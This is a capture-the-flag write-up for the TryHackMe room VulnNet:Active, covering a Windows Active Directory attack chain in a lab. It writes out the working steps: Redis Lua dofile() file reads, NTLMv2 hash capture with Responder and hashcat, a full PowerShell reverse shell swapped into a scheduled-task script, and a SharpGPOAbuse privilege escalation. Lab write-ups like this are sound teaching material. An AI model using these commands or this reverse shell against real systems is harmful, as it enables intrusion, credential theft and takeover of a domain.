Home TryHackMe Writeup - VulnNet:Active

TryHackMe Writeup - VulnNet:Active

VulnNet:Active is a medium Windows room with focus on Active Directory enumeration/exploitation. First, we had to exploit a well known Redis vulnerability which allowed us to partially access files. This vulnerability was exploited to access a remote SMB share hosted on our attacker machine to retrieve the user’s NTLM hash. This hash was then cracked to obtain the user’s password. Next, using these credentials, we were able to enumerate the SMB shares. It turned out, that one of the ScheduledTask files was located in one of those shares to which we had write access. This allowed us to replace the content of this file and thus get initial access to the system. For privilege escalation, we had to use BloodHound in order to determine the attack path. It was revealed that we had GenericWrite permissions to one of the GPOs. Using a tool called SharpGPOAbuse, we were able to use these write permissions to add our current user to the Administrator group and thus gain full control over the server.

Note: The target machine stopped responding several times during the assessment. Therefore, the IP addresses in the report might change from time to time, even though we are always looking at the same machine.


As always, we start by scanning the target machine’s open ports:

rustscan --ulimit 5000 vulnnet-active.local -- sV -sC -oN nmap_scan

53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49782/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The nmap output gives us plenty of information about the targeted host. We have several open ports. Among others, we have open SMB ports (139 and 445), an open RCP port (135) and an exposed Redis server (6379).

Enumeration of SMB

For the enumeration of the SMB shares, we use enum4linux-ng. Unfortunately, we cannot determine any available shares. All requests are denied due to missing authentication. So we first have to find some valid credentials, before we come back to the SMB enumeration.

Enumeration of Redis

Redis is NoSQL database, which stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on port TCP/6379 without authentication.

Redis - “The open source, in-memory data store used by millions of developers as a database, cache, streaming engine, and message broker.” https://redis.io/

According to HackTricks, there are several techniques how to enumerate Redis. The most recommended one is to use the tool redis-cli to communicate with the Redis server.

Common commands to run are the following:

  • INFO: displays general information about the Redis server including software version, databases, memory and clients. Here, we can determine the Redis server version: 2.8.2402.

  • CONFIG GET *: displays the current config of the redis server. Here, we can also see that a username enterprise-security is being leaked. Besides that, no useful information can be extracted.

Exploitation of Redis

Going through the HackTricks list, we find an article that shows how to exploit earlier versions of Redis (our version 2.8.2402 is amongst them):

“Redis can execute Lua scripts (in a sandbox, more on that later) via the “EVAL” command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis… If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file”

Interesting. So let’s try if we can read some files using this technique.

Reading files

As explained in the linked article, the command we use is the following:

└─$ redis-cli -h eval "dofile('<PATH TO FILE>')" 0

The problem hereby is: we dont know what we are looking for nor do we know if this technique actually works. So we try to find some common files first, so that we can definitely confirm that it works.

Therefore, we try some of the common windows files that are usually used for Local File Inclusion.

Here, we can clearly see that depending on the file, we get different error messages! Apparently we can’t read high privilege files. Thus the assumption is that we are not execution commands as high privileged user. The first hit we get when trying to read the hosts file. The error is unexpected symbol near #… That’s the symbol on the very first line of a typical hosts file. So this seems promising. Further, we know that there is a user called enterprise-security (we saw that in redis configs). What if the user has the user.txt file on his/her Desktop? It works! We just dumped the user flag. Now we can definitely confirm that the technique works. But what can we do with it?

Obtaining the NTLMv2 Hash / User’s password

Now that we know that we can access files on the server, we can try to do some more advanced stuff. We could try to access a remote share. This would leak the NTLM hash of the user as he/she tries to authenticate himself/herself. If this remote share is on our machine, we could attempt to log the access and thus get access to the hash.

For that, we first set up a listener using Impacket's Responder.py.

└─$ sudo responder -I tun0      

Then, we use the redis eval technique to access the exposed share.

└─$ redis-cli -h eval "dofile('//')" 0 

There we go! We captured a request containing the user’s NTLMv2 hash.

We can now attempt to crack the hash using hashcat.

└─$ hashcat -m 5600 responder_ntlm_hash /usr/share/wordlists/rockyou.txt

After a few seconds, we got a match! We got the password for the user enterprise-security.


We now have valid credentials enterprise-security:sand_0873959498

Enumeration of the SMB Server - Round 2

As noted before, the SMB server refused any connection without authentication. Now that we have valid credentials, we can go back and continue the enumeration of the SMB shares.

First, we use smbmap to list all available shares.

Here, we see that we have READ access to four different shares. One of them is the IPC$ share. A technique that works with these permissions on this share, which we also have seen before in the VulnNet:Roasted room, is the enumeration of usernames using RID Cycling.

Dumping usernames

For details on how this method works, please refer to the writeup of VulnNet:Roasted. This time, we simply use Impacket's lookupsids.py script:

As output, we obtain 7 usernames of the domain vulnnet. However, since there is no Kerberos service exposed, we cannot attempt AS-REP Roasting or something similar. We have to dig deeper!

Enumerating the Enterprise-Share

Another share we discovered is the Enterprise-Share share. Let’s see if it contains some useful information.

Hmm… A file named PurgeIrrelevantData_1826.ps1. The content is also not very promising:

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

Initial Foothold

Can this powershell script help us in any way? The name of the script is rather suspicious. This sounds like a typical file that’s called on a regular basis such as a ScheduledTask? Do we have write permissions for that share?

Yes we do! The idea is now to replace that PurgeIrrelevantData_1826.ps1 file with a powershell reverse shell script, that establishes a reverse shell to our attacker machine. If the assumption - that this is executed via a ScheduledTask - is correct, then this would work! Let’s try it.

We store the following powershell reverse shell in a file called PurgeIrrelevantData_1826.ps1:

$client = New-Object System.Net.Sockets.TCPClient("",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Then, we upload that file into the SMB share Enterprise-share and set up a nc listener to catch the reverse shell. Then we wait:

Finally! We got access to the system!

Privilege Escalation

First, we start with some basic enumeration of the domain. As tools we use powershell and PowerView.ps1. However, after hours of enumeration, we couldnt discover anything useful. Time for something more powerful: SharpHound and BloodHound!

After uploading and running SharpHound.exe, we transfer the generated .zip file back to our local machine using the share located in C:\Enterprise-Share (The path of the shares can be found using the Get-SmbShare cmdlet). Then, we use BloodHound to analyse the found data: Immediately, BloodHound gives us the shortest path from our current user enterprise-security to the Administrator. Apparently, we do have GenericWrite Permissions to one of the GPOs - namely security-pol-vn.

Luckily for us, there are several tools that help us with exploiting this. We decided to use the tool SharpGPOAbuse.exe

 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "babbadeckl_privesc" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"

Once executed, we only have to run the following command to update the permissions:

gpupdate \force

Now we can access the Administrator directory via SMB. Final step is to obtain the sytem flag.

This post is licensed under CC BY 4.0 by the author.